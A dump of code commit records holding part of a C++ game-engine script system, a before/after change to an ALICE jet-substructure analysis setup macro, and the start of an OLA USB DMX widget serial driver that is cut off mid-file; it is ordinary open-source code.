ScriptSystemImpl::getDll(const char* script_path, char* dll_path, char* full_path, int max_length)\r\n\t{\r\n\t\tstrcpy_s(dll_path, max_length, script_path);\r\n\t\tint len = strlen(script_path);\r\n\t\tif(len > 4)\r\n\t\t{\r\n\t\t\tstrcpy_s(dll_path + len - 4, 5, \".dll\"); \r\n\t\t}\r\n\t\tstrcpy(full_path, m_engine->getBasePath());\r\n\t\tstrcat(full_path, \"\\\\\");\r\n\t\tstrcat(full_path, dll_path);\r\n\t}\r\n\r\n\tvoid ScriptSystemImpl::getScriptDefaultPath(Entity e, char* path, char* full_path, int max_path, const char* ext)\r\n\t{\r\n\t\tsprintf_s(full_path, max_path, \"%s\\\\scripts\\\\e%d.%s\", m_engine->getBasePath(), e.index, ext);\r\n\t\tsprintf_s(path, max_path, \"scripts\\\\e%d.%s\", e.index, ext);\r\n\t}\r\n\r\n\tvoid ScriptSystemImpl::postDeserialize()\r\n\t{\r\n\t\tfor(int i = 0; i < m_scripts.size(); ++i)\r\n\t\t{\r\n\t\t\tEntity e(m_universe, m_scripts[i]);\r\n\t\t\tm_universe->getEventManager()->emitEvent(ComponentEvent(Component(e, script_type, m_owner, i)));\r\n\t\t}\r\n\t}\r\n\r\n\tComponent ScriptSystem::createScript(Entity entity)\r\n\t{\r\n\t\tchar path[MAX_PATH];\r\n\t\tchar full_path[MAX_PATH];\r\n\t\tm_impl->getScriptDefaultPath(entity, path, full_path, MAX_PATH, \"cpp\");\r\n\r\n\t\tFS::FileSystem& fs = m_impl->m_engine->getFileSystem();\r\n\t\tFS::IFile* file = fs.open(fs.getDefaultDevice(), full_path, FS::Mode::OPEN_OR_CREATE | FS::Mode::WRITE);\r\n\t\tfs.close(file);\r\n\r\n\t\tm_impl->m_scripts.push(entity.index);\r\n\t\tm_impl->m_paths.push(string(path));\r\n\r\n\t\tComponent cmp(entity, script_type, this, m_impl->m_scripts.size() - 1);\r\n\t\tm_impl->m_universe->getEventManager()->emitEvent(ComponentEvent(cmp));\r\n\r\n\t\treturn cmp;\r\n\t}\r\n\r\n} \/\/ ~namespace Lux<|endoftext|>"} {"text":"<commit_before>AliAnalysisTaskNewJetSubstructure* AddTaskNewJetSubstructure(const char * njetsBase,\n const char * njetsUS,\n\t\t\t\t\t\t const char * njetsTrue,\n const char * njetsPartLevel,\n\t\t\t\t\t\t const Double_t R,\n\t\t\t\t\t\t const char * nrhoBase, \n\t\t\t\t\t\t const char * ntracks, \n const char * ntracksUS,\n const char *ntracksPartLevel,\n\t\t\t\t\t\t const char * nclusters,\n\t\t\t\t\t\t const char * ntracksTrue,\n\t\t\t\t\t\t const char *type,\t\t\t\t \n\t\t\t\t\t\t const char *CentEst,\n\t\t\t\t\t\t Int_t pSel,\n\t\t\t\t\t\t TString trigClass = \"\",\n\t\t\t\t\t\t TString kEmcalTriggers = \"\",\n\t\t\t\t\t\t TString tag = \"\",\n\t\t\t\t\t\t AliAnalysisTaskNewJetSubstructure::JetShapeType jetShapeType = AliAnalysisTaskNewJetSubstructure::kMCTrue,\n\t\t\t\t\t\t AliAnalysisTaskNewJetSubstructure::JetShapeSub jetShapeSub = AliAnalysisTaskNewJetSubstructure::kNoSub,\n\t\t\t\t\t\t AliAnalysisTaskNewJetSubstructure::JetSelectionType jetSelection = AliAnalysisTaskNewJetSubstructure::kInclusive,\n\t\t\t\t\t\t Float_t minpTHTrigger =0., Float_t maxpTHTrigger =0., Float_t acut =0.6, AliAnalysisTaskNewJetSubstructure::DerivSubtrOrder derivSubtrOrder = AliAnalysisTaskNewJetSubstructure::kSecondOrder ) {\n \n\n \n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr)\n {\n Error(\"AddTaskNewJetSubstructure\",\"No analysis manager found.\");\n return 0;\n }\n Bool_t ismc=kFALSE;\n ismc = (mgr->GetMCtruthEventHandler())?kTRUE:kFALSE;\n\n \/\/ Check the analysis type using the event handlers connected to the analysis manager.\n \/\/==============================================================================\n if (!mgr->GetInputEventHandler())\n {\n ::Error(\"AddTaskNewJetSubstructure\", \"This task requires an input event handler\");\n return NULL;\n }\n\n TString wagonName1 = Form(\"JetSubstructure_%s_TC%s%s\",njetsBase,trigClass.Data(),tag.Data());\n TString wagonName2 = Form(\"JetSubstructure_%s_TC%s%sTree\",njetsBase,trigClass.Data(),tag.Data());\n \/\/Configure jet tagger task\n AliAnalysisTaskNewJetSubstructure *task = new AliAnalysisTaskNewJetSubstructure(wagonName1.Data());\n\n \/\/task->SetNCentBins(4);\n task->SetJetShapeType(jetShapeType);\n task->SetJetShapeSub(jetShapeSub);\n task->SetJetSelection(jetSelection);\n task->SetDerivativeSubtractionOrder(derivSubtrOrder);\n \n \n\n TString thename(njetsBase);\n \/\/if(thename.Contains(\"Sub\")) task->SetIsConstSub(kTRUE);\n \/\/task->SetVzRange(-10.,10.);\n\n AliParticleContainer *trackCont;\/\/ = task->AddTrackContainer(ntracks);\n \n if ((jetShapeSub==AliAnalysisTaskNewJetSubstructure::kConstSub) && ((jetShapeType==AliAnalysisTaskNewJetSubstructure::kData) || (jetShapeType==AliAnalysisTaskNewJetSubstructure::kDetEmbPartPythia) || (jetShapeType==AliAnalysisTaskNewJetSubstructure::kPythiaDef))){\n trackCont = task->AddParticleContainer(ntracks);}\n else trackCont = task->AddTrackContainer(ntracks);\n\n \n \/\/Printf(\"tracks() = %s, trackCont =%p\", ntracks, trackCont);\n AliParticleContainer *trackContUS = task->AddTrackContainer(ntracksUS);\n \/\/Printf(\"tracksUS() = %s\", ntracksUS);\n AliParticleContainer *trackContTrue = task->AddMCParticleContainer(ntracksTrue);\n \/\/Printf(\"ntracksTrue() = %s, trackContTrue=%p \", ntracksTrue, trackContTrue);\n if (jetShapeType==AliAnalysisTaskNewJetSubstructure::kDetEmbPartPythia) trackContTrue->SetIsEmbedding(true);\n AliParticleContainer *trackContPartLevel=0;\n \n if ((jetShapeSub==AliAnalysisTaskNewJetSubstructure::kConstSub) && ((jetShapeType==AliAnalysisTaskNewJetSubstructure::kMCTrue) || (jetShapeType==AliAnalysisTaskNewJetSubstructure::kPythiaDef))){\n trackContPartLevel = task->AddParticleContainer(ntracksPartLevel);\n }\n else trackContPartLevel = task->AddMCParticleContainer(ntracksPartLevel);\n if (jetShapeType==AliAnalysisTaskNewJetSubstructure::kDetEmbPartPythia) trackContPartLevel->SetIsEmbedding(true);\n \/\/Printf(\"ntracksPartLevel() = %s, trackContPartLevel=%p \", ntracksPartLevel, trackContPartLevel);\n \n\n AliClusterContainer *clusterCont = task->AddClusterContainer(nclusters);\n \n AliJetContainer *jetContBase=0x0;\n AliJetContainer *jetContUS=0x0;\n AliJetContainer *jetContTrue=0x0;\n AliJetContainer *jetContPart=0x0;\n TString strType(type);\n\n if ((jetShapeType==AliAnalysisTaskNewJetSubstructure::kMCTrue || (jetShapeType==AliAnalysisTaskNewJetSubstructure::kGenOnTheFly))) {\n jetContBase = task->AddJetContainer(njetsBase,strType,R);\n if(jetContBase) {\n jetContBase->SetRhoName(nrhoBase);\n jetContBase->ConnectParticleContainer(trackContPartLevel);\n jetContBase->ConnectClusterContainer(clusterCont);\n jetContBase->SetPercAreaCut(acut);\n }\n }\n \n if (jetShapeType==AliAnalysisTaskNewJetSubstructure::kData){\n jetContBase = task->AddJetContainer(njetsBase,strType,R);\n if(jetContBase) {\n jetContBase->SetRhoName(nrhoBase);\n jetContBase->ConnectParticleContainer(trackCont);\n jetContBase->ConnectClusterContainer(clusterCont);\n jetContBase->SetPercAreaCut(acut);\n if(jetShapeSub==AliAnalysisTaskNewJetSubstructure::kConstSub) jetContBase->SetAreaEmcCut(-2);\n } \n }\n \n\n if (jetShapeType==AliAnalysisTaskNewJetSubstructure::kDetEmbPartPythia){\n jetContBase = task->AddJetContainer(njetsBase,strType,R);\n if(jetContBase) {\n jetContBase->SetRhoName(nrhoBase);\n jetContBase->ConnectParticleContainer(trackCont);\n jetContBase->ConnectClusterContainer(clusterCont);\n jetContBase->SetPercAreaCut(acut);\n \n if(jetShapeSub==AliAnalysisTaskNewJetSubstructure::kConstSub) jetContBase->SetAreaEmcCut(-2);\n }\n\n jetContTrue = task->AddJetContainer(njetsTrue,strType,R);\n if(jetContTrue) {\n \n jetContTrue->SetRhoName(nrhoBase);\n jetContTrue->ConnectParticleContainer(trackContTrue);\n jetContTrue->SetPercAreaCut(acut); \n \n }\n \n if(jetShapeSub==AliAnalysisTaskNewJetSubstructure::kConstSub){\n jetContUS=task->AddJetContainer(njetsUS,strType,R);\n if(jetContUS) {\n jetContUS->SetRhoName(nrhoBase);\n jetContUS->ConnectParticleContainer(trackContUS);\n jetContUS->SetPercAreaCut(acut);\n \n }\n }\n \n jetContPart = task->AddJetContainer(njetsPartLevel,strType,R);\n if(jetContPart) {\n\n jetContPart->SetRhoName(nrhoBase);\n jetContPart->ConnectParticleContainer(trackContPartLevel);\n jetContPart->SetPercAreaCut(acut);\n \n }\n }\n \n if (jetShapeType==AliAnalysisTaskNewJetSubstructure::kPythiaDef){\n \n jetContBase = task->AddJetContainer(njetsBase,strType,R);\n if(jetContBase) {\n jetContBase->ConnectParticleContainer(trackCont);\n jetContBase->ConnectClusterContainer(clusterCont);\n jetContBase->SetPercAreaCut(acut);\n }\n \n jetContTrue = task->AddJetContainer(njetsTrue,strType,R);\n if(jetContTrue) {\n jetContTrue->SetRhoName(nrhoBase);\n jetContTrue->ConnectParticleContainer(trackContTrue);\n jetContTrue->SetPercAreaCut(acut);\n \n }\n \n if(jetShapeSub==AliAnalysisTaskNewJetSubstructure::kConstSub){\n jetContUS=task->AddJetContainer(njetsUS,strType,R);\n if(jetContUS) {\n jetContUS->SetRhoName(nrhoBase);\n jetContUS->ConnectParticleContainer(trackContUS);\n jetContUS->SetPercAreaCut(acut);\n \n }\n }\n \n jetContPart = task->AddJetContainer(njetsPartLevel,strType,R);\n if(jetContPart) {\n jetContPart->SetRhoName(nrhoBase);\n jetContPart->ConnectParticleContainer(trackContPartLevel);\n jetContPart->SetPercAreaCut(acut);\n }\n \n }\n \n task->SetCaloTriggerPatchInfoName(kEmcalTriggers.Data());\n task->SetCentralityEstimator(CentEst);\n task->SelectCollisionCandidates(pSel);\n task->SetUseAliAnaUtils(kFALSE);\n\n mgr->AddTask(task);\n \n \/\/Connnect input\n mgr->ConnectInput (task, 0, mgr->GetCommonInputContainer() );\n\n \/\/Connect output\n TString contName1(wagonName1);\n TString contName2(wagonName2);\n\n if (jetShapeType == AliAnalysisTaskNewJetSubstructure::kMCTrue) contName1 += \"_MCTrue\";\n if (jetShapeType == AliAnalysisTaskNewJetSubstructure::kData) contName1 += \"_Data\"; \n \n if (jetShapeType == AliAnalysisTaskNewJetSubstructure::kPythiaDef) contName1 +=\"_PythiaDef\";\n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kNoSub) contName1 += \"_NoSub\"; \n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kConstSub) contName1 += \"_ConstSub\";\n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kEventSub) contName1 += \"_EventSub\"; \n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kDerivSub) contName1 += \"_DerivSub\";\n \n if (jetSelection == AliAnalysisTaskNewJetSubstructure::kInclusive) contName1 += \"_Incl\";\n \n\n\n if (jetShapeType == AliAnalysisTaskNewJetSubstructure::kMCTrue) contName2 += \"_MCTrue\";\n if (jetShapeType == AliAnalysisTaskNewJetSubstructure::kData) contName2 += \"_Data\"; \n \n if (jetShapeType == AliAnalysisTaskNewJetSubstructure::kPythiaDef) contName2 +=\"_PythiaDef\";\n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kNoSub) contName2 += \"_NoSub\"; \n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kConstSub) contName2 += \"_ConstSub\";\n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kEventSub) contName2 += \"_EventSub\"; \n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kDerivSub) contName2 += \"_DerivSub\";\n \n if (jetSelection == AliAnalysisTaskNewJetSubstructure::kInclusive) contName2 += \"_Incl\";\n\n\n\n\n TString outputfile = Form(\"%s\",AliAnalysisManager::GetCommonFileName());\n AliAnalysisDataContainer *coutput1 = mgr->CreateContainer(contName1.Data(), TList::Class(),AliAnalysisManager::kOutputContainer,outputfile);\n mgr->ConnectOutput(task,1,coutput1);\n\n\n AliAnalysisDataContainer *coutput2 = mgr->CreateContainer(contName2.Data(), TTree::Class(),AliAnalysisManager::kOutputContainer,outputfile);\n mgr->ConnectOutput(task,2,coutput2);\n \n return task; \n\n}\n\n<commit_msg>i also forgot to add the unsub container<commit_after>AliAnalysisTaskNewJetSubstructure* AddTaskNewJetSubstructure(const char * njetsBase,\n const char * njetsUS,\n\t\t\t\t\t\t const char * njetsTrue,\n const char * njetsPartLevel,\n\t\t\t\t\t\t const Double_t R,\n\t\t\t\t\t\t const char * nrhoBase, \n\t\t\t\t\t\t const char * ntracks, \n const char * ntracksUS,\n const char *ntracksPartLevel,\n\t\t\t\t\t\t const char * nclusters,\n\t\t\t\t\t\t const char * ntracksTrue,\n\t\t\t\t\t\t const char *type,\t\t\t\t \n\t\t\t\t\t\t const char *CentEst,\n\t\t\t\t\t\t Int_t pSel,\n\t\t\t\t\t\t TString trigClass = \"\",\n\t\t\t\t\t\t TString kEmcalTriggers = \"\",\n\t\t\t\t\t\t TString tag = \"\",\n\t\t\t\t\t\t AliAnalysisTaskNewJetSubstructure::JetShapeType jetShapeType = AliAnalysisTaskNewJetSubstructure::kMCTrue,\n\t\t\t\t\t\t AliAnalysisTaskNewJetSubstructure::JetShapeSub jetShapeSub = AliAnalysisTaskNewJetSubstructure::kNoSub,\n\t\t\t\t\t\t AliAnalysisTaskNewJetSubstructure::JetSelectionType jetSelection = AliAnalysisTaskNewJetSubstructure::kInclusive,\n\t\t\t\t\t\t Float_t minpTHTrigger =0., Float_t maxpTHTrigger =0., Float_t acut =0.6, AliAnalysisTaskNewJetSubstructure::DerivSubtrOrder derivSubtrOrder = AliAnalysisTaskNewJetSubstructure::kSecondOrder ) {\n \n\n \n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr)\n {\n Error(\"AddTaskNewJetSubstructure\",\"No analysis manager found.\");\n return 0;\n }\n Bool_t ismc=kFALSE;\n ismc = (mgr->GetMCtruthEventHandler())?kTRUE:kFALSE;\n\n \/\/ Check the analysis type using the event handlers connected to the analysis manager.\n \/\/==============================================================================\n if (!mgr->GetInputEventHandler())\n {\n ::Error(\"AddTaskNewJetSubstructure\", \"This task requires an input event handler\");\n return NULL;\n }\n\n TString wagonName1 = Form(\"JetSubstructure_%s_TC%s%s\",njetsBase,trigClass.Data(),tag.Data());\n TString wagonName2 = Form(\"JetSubstructure_%s_TC%s%sTree\",njetsBase,trigClass.Data(),tag.Data());\n \/\/Configure jet tagger task\n AliAnalysisTaskNewJetSubstructure *task = new AliAnalysisTaskNewJetSubstructure(wagonName1.Data());\n\n \/\/task->SetNCentBins(4);\n task->SetJetShapeType(jetShapeType);\n task->SetJetShapeSub(jetShapeSub);\n task->SetJetSelection(jetSelection);\n task->SetDerivativeSubtractionOrder(derivSubtrOrder);\n \n \n\n TString thename(njetsBase);\n \/\/if(thename.Contains(\"Sub\")) task->SetIsConstSub(kTRUE);\n \/\/task->SetVzRange(-10.,10.);\n\n AliParticleContainer *trackCont;\/\/ = task->AddTrackContainer(ntracks);\n \n if ((jetShapeSub==AliAnalysisTaskNewJetSubstructure::kConstSub) && ((jetShapeType==AliAnalysisTaskNewJetSubstructure::kData) || (jetShapeType==AliAnalysisTaskNewJetSubstructure::kDetEmbPartPythia) || (jetShapeType==AliAnalysisTaskNewJetSubstructure::kPythiaDef))){\n trackCont = task->AddParticleContainer(ntracks);}\n else trackCont = task->AddTrackContainer(ntracks);\n\n \n \/\/Printf(\"tracks() = %s, trackCont =%p\", ntracks, trackCont);\n AliParticleContainer *trackContUS = task->AddTrackContainer(ntracksUS);\n \/\/Printf(\"tracksUS() = %s\", ntracksUS);\n AliParticleContainer *trackContTrue = task->AddMCParticleContainer(ntracksTrue);\n \/\/Printf(\"ntracksTrue() = %s, trackContTrue=%p \", ntracksTrue, trackContTrue);\n if (jetShapeType==AliAnalysisTaskNewJetSubstructure::kDetEmbPartPythia) trackContTrue->SetIsEmbedding(true);\n AliParticleContainer *trackContPartLevel=0;\n \n if ((jetShapeSub==AliAnalysisTaskNewJetSubstructure::kConstSub) && ((jetShapeType==AliAnalysisTaskNewJetSubstructure::kMCTrue) || (jetShapeType==AliAnalysisTaskNewJetSubstructure::kPythiaDef))){\n trackContPartLevel = task->AddParticleContainer(ntracksPartLevel);\n }\n else trackContPartLevel = task->AddMCParticleContainer(ntracksPartLevel);\n if (jetShapeType==AliAnalysisTaskNewJetSubstructure::kDetEmbPartPythia) trackContPartLevel->SetIsEmbedding(true);\n \/\/Printf(\"ntracksPartLevel() = %s, trackContPartLevel=%p \", ntracksPartLevel, trackContPartLevel);\n \n\n AliClusterContainer *clusterCont = task->AddClusterContainer(nclusters);\n \n AliJetContainer *jetContBase=0x0;\n AliJetContainer *jetContUS=0x0;\n AliJetContainer *jetContTrue=0x0;\n AliJetContainer *jetContPart=0x0;\n TString strType(type);\n\n if ((jetShapeType==AliAnalysisTaskNewJetSubstructure::kMCTrue || (jetShapeType==AliAnalysisTaskNewJetSubstructure::kGenOnTheFly))) {\n jetContBase = task->AddJetContainer(njetsBase,strType,R);\n if(jetContBase) {\n jetContBase->SetRhoName(nrhoBase);\n jetContBase->ConnectParticleContainer(trackContPartLevel);\n jetContBase->ConnectClusterContainer(clusterCont);\n jetContBase->SetPercAreaCut(acut);\n }\n }\n \n if (jetShapeType==AliAnalysisTaskNewJetSubstructure::kData){\n jetContBase = task->AddJetContainer(njetsBase,strType,R);\n if(jetContBase) {\n jetContBase->SetRhoName(nrhoBase);\n jetContBase->ConnectParticleContainer(trackCont);\n jetContBase->ConnectClusterContainer(clusterCont);\n jetContBase->SetPercAreaCut(acut);\n if(jetShapeSub==AliAnalysisTaskNewJetSubstructure::kConstSub) jetContBase->SetAreaEmcCut(-2);\n } \n }\n \n\n if (jetShapeType==AliAnalysisTaskNewJetSubstructure::kDetEmbPartPythia){\n jetContBase = task->AddJetContainer(njetsBase,strType,R);\n if(jetContBase) {\n jetContBase->SetRhoName(nrhoBase);\n jetContBase->ConnectParticleContainer(trackCont);\n jetContBase->ConnectClusterContainer(clusterCont);\n jetContBase->SetPercAreaCut(acut);\n \n if(jetShapeSub==AliAnalysisTaskNewJetSubstructure::kConstSub) jetContBase->SetAreaEmcCut(-2);\n }\n\n jetContTrue = task->AddJetContainer(njetsTrue,strType,R);\n if(jetContTrue) {\n \n jetContTrue->SetRhoName(nrhoBase);\n jetContTrue->ConnectParticleContainer(trackContTrue);\n jetContTrue->SetPercAreaCut(acut); \n \n }\n \n if(jetShapeSub==AliAnalysisTaskNewJetSubstructure::kConstSub || jetShapeSub==AliAnalysisTaskNewJetSubstructure::kEventSub){\n jetContUS=task->AddJetContainer(njetsUS,strType,R);\n if(jetContUS) {\n jetContUS->SetRhoName(nrhoBase);\n jetContUS->ConnectParticleContainer(trackContUS);\n jetContUS->SetPercAreaCut(acut);\n \n }\n }\n \n jetContPart = task->AddJetContainer(njetsPartLevel,strType,R);\n if(jetContPart) {\n\n jetContPart->SetRhoName(nrhoBase);\n jetContPart->ConnectParticleContainer(trackContPartLevel);\n jetContPart->SetPercAreaCut(acut);\n \n }\n }\n \n if (jetShapeType==AliAnalysisTaskNewJetSubstructure::kPythiaDef){\n \n jetContBase = task->AddJetContainer(njetsBase,strType,R);\n if(jetContBase) {\n jetContBase->ConnectParticleContainer(trackCont);\n jetContBase->ConnectClusterContainer(clusterCont);\n jetContBase->SetPercAreaCut(acut);\n }\n \n jetContTrue = task->AddJetContainer(njetsTrue,strType,R);\n if(jetContTrue) {\n jetContTrue->SetRhoName(nrhoBase);\n jetContTrue->ConnectParticleContainer(trackContTrue);\n jetContTrue->SetPercAreaCut(acut);\n \n }\n \n if(jetShapeSub==AliAnalysisTaskNewJetSubstructure::kConstSub){\n jetContUS=task->AddJetContainer(njetsUS,strType,R);\n if(jetContUS) {\n jetContUS->SetRhoName(nrhoBase);\n jetContUS->ConnectParticleContainer(trackContUS);\n jetContUS->SetPercAreaCut(acut);\n \n }\n }\n \n jetContPart = task->AddJetContainer(njetsPartLevel,strType,R);\n if(jetContPart) {\n jetContPart->SetRhoName(nrhoBase);\n jetContPart->ConnectParticleContainer(trackContPartLevel);\n jetContPart->SetPercAreaCut(acut);\n }\n \n }\n \n task->SetCaloTriggerPatchInfoName(kEmcalTriggers.Data());\n task->SetCentralityEstimator(CentEst);\n task->SelectCollisionCandidates(pSel);\n task->SetUseAliAnaUtils(kFALSE);\n\n mgr->AddTask(task);\n \n \/\/Connnect input\n mgr->ConnectInput (task, 0, mgr->GetCommonInputContainer() );\n\n \/\/Connect output\n TString contName1(wagonName1);\n TString contName2(wagonName2);\n\n if (jetShapeType == AliAnalysisTaskNewJetSubstructure::kMCTrue) contName1 += \"_MCTrue\";\n if (jetShapeType == AliAnalysisTaskNewJetSubstructure::kData) contName1 += \"_Data\"; \n \n if (jetShapeType == AliAnalysisTaskNewJetSubstructure::kPythiaDef) contName1 +=\"_PythiaDef\";\n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kNoSub) contName1 += \"_NoSub\"; \n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kConstSub) contName1 += \"_ConstSub\";\n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kEventSub) contName1 += \"_EventSub\"; \n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kDerivSub) contName1 += \"_DerivSub\";\n \n if (jetSelection == AliAnalysisTaskNewJetSubstructure::kInclusive) contName1 += \"_Incl\";\n \n\n\n if (jetShapeType == AliAnalysisTaskNewJetSubstructure::kMCTrue) contName2 += \"_MCTrue\";\n if (jetShapeType == AliAnalysisTaskNewJetSubstructure::kData) contName2 += \"_Data\"; \n \n if (jetShapeType == AliAnalysisTaskNewJetSubstructure::kPythiaDef) contName2 +=\"_PythiaDef\";\n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kNoSub) contName2 += \"_NoSub\"; \n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kConstSub) contName2 += \"_ConstSub\";\n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kEventSub) contName2 += \"_EventSub\"; \n if (jetShapeSub == AliAnalysisTaskNewJetSubstructure::kDerivSub) contName2 += \"_DerivSub\";\n \n if (jetSelection == AliAnalysisTaskNewJetSubstructure::kInclusive) contName2 += \"_Incl\";\n\n\n\n\n TString outputfile = Form(\"%s\",AliAnalysisManager::GetCommonFileName());\n AliAnalysisDataContainer *coutput1 = mgr->CreateContainer(contName1.Data(), TList::Class(),AliAnalysisManager::kOutputContainer,outputfile);\n mgr->ConnectOutput(task,1,coutput1);\n\n\n AliAnalysisDataContainer *coutput2 = mgr->CreateContainer(contName2.Data(), TTree::Class(),AliAnalysisManager::kOutputContainer,outputfile);\n mgr->ConnectOutput(task,2,coutput2);\n \n return task; \n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Library General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\n * BaseUsbProWidget.cpp\n * Read and Write to a USB Widget.\n * Copyright (C) 2010 Simon Newton\n *\/\n\n#include <errno.h>\n#include <fcntl.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <strings.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <termios.h>\n#include <unistd.h>\n#include <string>\n#include \"ola\/BaseTypes.h\"\n#include \"ola\/Logging.h\"\n#include \"plugins\/usbpro\/BaseUsbProWidget.h\"\n\nnamespace ola {\nnamespace plugin {\nnamespace usbpro {\n\nconst unsigned int BaseUsbProWidget::HEADER_SIZE =\n sizeof(BaseUsbProWidget::message_header);\n\n\nBaseUsbProWidget::BaseUsbProWidget(\n ola::io::ConnectedDescriptor *descriptor)\n : m_descriptor(descriptor),\n m_state(PRE_SOM),\n m_bytes_received(0) {\n m_descriptor->SetOnData(\n NewCallback(this, &BaseUsbProWidget::DescriptorReady));\n}\n\n\nBaseUsbProWidget::~BaseUsbProWidget() {\n m_descriptor->SetOnData(NULL);\n}\n\n\n\/*\n * Read data from the widget\n *\/\nvoid BaseUsbProWidget::DescriptorReady() {\n while (m_descriptor->DataRemaining() > 0) {\n ReceiveMessage();\n }\n}\n\n\n\/*\n * Send a DMX frame.\n * @returns true if we sent ok, false otherwise\n *\/\nbool BaseUsbProWidget::SendDMX(const DmxBuffer &buffer) {\n struct {\n uint8_t start_code;\n uint8_t dmx[DMX_UNIVERSE_SIZE];\n } widget_dmx;\n\n widget_dmx.start_code = DMX512_START_CODE;\n unsigned int length = DMX_UNIVERSE_SIZE;\n buffer.Get(widget_dmx.dmx, &length);\n return SendMessage(DMX_LABEL,\n reinterpret_cast<uint8_t*>(&widget_dmx),\n length + 1);\n}\n\n\n\/*\n * Send the msg\n * @return true if successful, false otherwise\n *\/\nbool BaseUsbProWidget::SendMessage(uint8_t label,\n const uint8_t *data,\n unsigned int length) const {\n if (length && !data)\n return false;\n\n ssize_t frame_size = HEADER_SIZE + length + 1;\n uint8_t frame[frame_size];\n message_header *header = reinterpret_cast<message_header*>(frame);\n header->som = SOM;\n header->label = label;\n header->len = length & 0xFF;\n header->len_hi = (length & 0xFF00) >> 8;\n\n memcpy(frame + sizeof(message_header), data, length);\n frame[frame_size - 1] = EOM;\n\n ssize_t bytes_sent = m_descriptor->Send(frame, frame_size);\n if (bytes_sent != frame_size)\n \/\/ we've probably screwed framing at this point\n return false;\n\n return true;\n}\n\n\n\/**\n * Open a path and apply the settings required for talking to widgets.\n *\/\nola::io::ConnectedDescriptor *BaseUsbProWidget::OpenDevice(\n const string &path) {\n struct termios newtio;\n int fd = open(path.data(), O_RDWR | O_NONBLOCK | O_NOCTTY);\n\n if (fd == -1) {\n OLA_WARN << \"Failed to open \" << path << \" \" << strerror(errno);\n return NULL;\n }\n\n bzero(&newtio, sizeof(newtio)); \/\/ clear struct for new port settings\n newtio.c_cflag |= CREAD;\n cfsetispeed(&newtio, B115200);\n cfsetospeed(&newtio, B115200);\n tcsetattr(fd, TCSANOW, &newtio);\n\n return new ola::io::DeviceDescriptor(fd);\n}\n\n\n\/*\n * Read the data and handle the messages.\n *\/\nvoid BaseUsbProWidget::ReceiveMessage() {\n unsigned int count, packet_length;\n\n switch (m_state) {\n case PRE_SOM:\n do {\n m_descriptor->Receive(&m_header.som, 1, count);\n if (count != 1)\n return;\n } while (m_header.som != SOM);\n m_state = RECV_LABEL;\n case RECV_LABEL:\n m_descriptor->Receive(&m_header.label, 1, count);\n if (count != 1)\n return;\n m_state = RECV_SIZE_LO;\n case RECV_SIZE_LO:\n m_descriptor->Receive(&m_header.len, 1, count);\n if (count != 1)\n return;\n m_state = RECV_SIZE_HI;\n case RECV_SIZE_HI:\n m_descriptor->Receive(&m_header.len_hi, 1, count);\n if (count != 1)\n return;\n\n packet_length = (m_header.len_hi << 8) + m_header.len;\n if (packet_length == 0) {\n m_state = RECV_EOM;\n return;\n } else if (packet_length > MAX_DATA_SIZE) {\n m_state = PRE_SOM;\n return;\n }\n\n m_bytes_received = 0;\n m_state = RECV_BODY;\n case RECV_BODY:\n packet_length = (m_header.len_hi << 8) + m_header.len;\n m_descriptor->Receive(\n reinterpret_cast<uint8_t*>(&m_recv_buffer) + m_bytes_received,\n packet_length - m_bytes_received,\n count);\n\n if (!count)\n return;\n\n m_bytes_received += count;\n if (m_bytes_received != packet_length)\n return;\n\n m_state = RECV_EOM;\n case RECV_EOM:\n \/\/ check this is a valid frame with an end byte\n uint8_t eom;\n m_descriptor->Receive(&eom, 1, count);\n if (count != 1)\n return;\n\n packet_length = (m_header.len_hi << 8) + m_header.len;\n\n if (eom == EOM)\n HandleMessage(m_header.label,\n packet_length ? m_recv_buffer : NULL,\n packet_length);\n m_state = PRE_SOM;\n }\n return;\n}\n} \/\/ usbpro\n} \/\/ plugin\n} \/\/ ola\n<commit_msg>Set the char size to 8 bits for the usb serial devices. As suggested by Michael Markstaller<commit_after>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Library General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\n * BaseUsbProWidget.cpp\n * Read and Write to a USB Widget.\n * Copyright (C) 2010 Simon Newton\n *\/\n\n#include <errno.h>\n#include <fcntl.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <strings.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <termios.h>\n#include <unistd.h>\n#include <string>\n#include \"ola\/BaseTypes.h\"\n#include 